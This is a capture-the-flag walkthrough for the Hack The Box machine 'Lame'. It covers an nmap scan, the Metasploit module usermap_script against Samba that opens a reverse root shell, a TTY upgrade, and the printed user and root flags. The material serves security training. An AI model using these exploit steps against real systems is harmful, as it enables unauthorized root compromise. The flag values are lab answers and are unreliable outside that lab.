

Machine: Lame

■ Easy

Challenge Description :

A super easy Machine, easily done with just Metasploit scripts to directly get a root shell.

Notes :

- MsfConsole (MetaSploit)
- Nmap (Network Mapper)
 - Make sure you Read the Full report / scan on nmap.
 - Make sure to use nmap properly / efficiently.
 - MsfConsole not required, just highly recommended for gaining the exploits.

Getting Down to Flag :

- First Connect to the Machine via your Own Configuration / either by VPN or a PWNBox, while spawning up the machine.
- After its Up begin to Nmap it.
- You can add it too /etc/host, to a domain like lame.htb to make it easier to remember rather than an IP.

```
Nmap scan report for 10.10.10.3
Host is up (0.061s latency).
Not shown: 65530 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3632/tcp  open  distccd      distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 302.68 seconds
```

- The Nmap scan should result in getting some open-ports and the service they are running, Both FTP / SMB are Vulnerable according to their version

- Using Msfconsole we search for any exploits for the FTP Vsftpd. But when we try to execute it we get an error either from being blocked or it has a custom patched version.

```
msf6 > search vsftpd 2.3.4

Matching Modules
=====
#  Name
-  -
0  exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 0.59% excellent
```

- Again using Msfconsole to search for any exploits for the samba SMB. When we search for it we get a lot of options, we want one for RCE.

```
3  \_ target: Windows x64
4  exploit/unix/http/quest_kace_systems_management_rce 2018-05-31 0 up excellent Yes
5  exploit/multi/samba/usermap_script 2007-05-14 0 up excellent No
6  exploit/linux/samba/setinfo_policy_heap 2012-04-10 0 up normal Yes
7  \_ target: 2:3.5.11-dfsg-1ubuntu2 on Ubuntu Server 11.10
8  \_ target: 2:3.5.8-dfsg-1ubuntu2 on Ubuntu Server 11.10
9  \_ target: 2:3.5.8-dfsg-1ubuntu2 on Ubuntu Server 11.04
10 \_ target: 2:3.5.4-dfsg-1ubuntu8 on Ubuntu Server 10.10
11 \_ target: 2:3.5.6-dfsg-3squeeze6 on Debian Squeeze
12 \_ target: 3.5.10-0.107.el5 on CentOS 5
13 exploit/linux/samba/chain_reply 2010-06-16 good No
14 \_ target: Linux (Debian5 3.2.5-4lenny6)
15 \_ target: Debugging Target
```

- We then execute the multi/samba/usermap_script as it will give you a shell, you can look for this via msfconsole from this:

'Search samba user'

'use multi/samba/usermap_script'

- We then execute the exploit by setting the remote host and running it.
- Success, We finally get a shell and its Root so we don't need to do any privilege escalation.

```

msf6 exploit(multi/samba/usermap_script) > set rhosts 10.10.10.3
rhosts => 10.10.10.3
msf6 exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 10.10.14.77:4444
[*] Command shell session 1 opened (10.10.14.77:4444 -> 10.10.10.3:36755)

ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
initrd.img.old
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
whoami
root

```

- To get a proper shell we set the TTY for a terminal prompt, I normal use this to get it

```
'script /dev/null -qc /bin/bash'
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```

script /dev/null -qc /bin/bash
root@lame:/# id
uid=0(root) gid=0(root)
root@lame:/#

```

See more [TTY'S](#) here

- The first flag, the "User flag" can be found exploring the user directories

```

root@lame:/home/makis# ls
user.txt
root@lame:/home/makis# cat user.txt
9988db34e2759a1f6859c
root@lame:/home/makis#

```

- And the second flag as you can guess is in the root directory

```

root@lame:/# cd root
root@lame:/root# ls
Desktop  reset_logs.sh  root.txt  vnc.log
root@lame:/root# cat root.txt
326664f9a349cffe7
root@lame:/root#

```

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